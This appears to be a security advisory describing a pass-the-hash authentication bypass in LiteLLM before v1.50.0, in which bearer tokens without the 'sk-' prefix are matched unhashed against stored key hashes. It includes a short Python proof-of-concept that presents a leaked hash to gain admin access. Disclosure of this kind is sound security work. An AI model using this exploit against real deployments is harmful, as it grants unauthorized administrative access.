Critical SeverityCWE-287

LiteLLM Authentication Bypass via Pass-the-Hash

Target Platform: LiteLLM < v1.50.0

🔍 Vulnerability Mechanism

LiteLLM hashes user API keys using SHA-256 before storing them in the database. During authentication, the server parses incoming Bearer tokens conditionally using _hash_token_if_needed(token).

If the token starts with the prefix sk-, it is hashed. If it does not, hashing is skipped, and the token is matched directly against the stored hash in the database.


💥 Exploitation Path

An attacker who acquires a stored SHA-256 database key hash (e.g., from logs, database leaks, or backups) can supply the hash directly as the Bearer token.

Because the hash lacks the sk- prefix, LiteLLM does not hash it, and the database lookup succeeds, granting administrative authorization.


💻 Proof of Concept Script

import requests
import hashlib

# Target instance URL
TARGET_URL = "http://localhost:4000"

# Exposed SHA-256 key hash from DB
db_hash = "4de6944a7c8afefe39feabc2293761d72270e14b397373581f23ce3db12ddf82"

# Supply the hash directly as the Bearer token
headers = {
    "Authorization": f"Bearer {db_hash}",
    "Content-Type": "application/json"
}

# The server skips hashing (no "sk-" prefix) and grants admin access
response = requests.get(f"{TARGET_URL}/key/info", headers=headers)
print(response.json())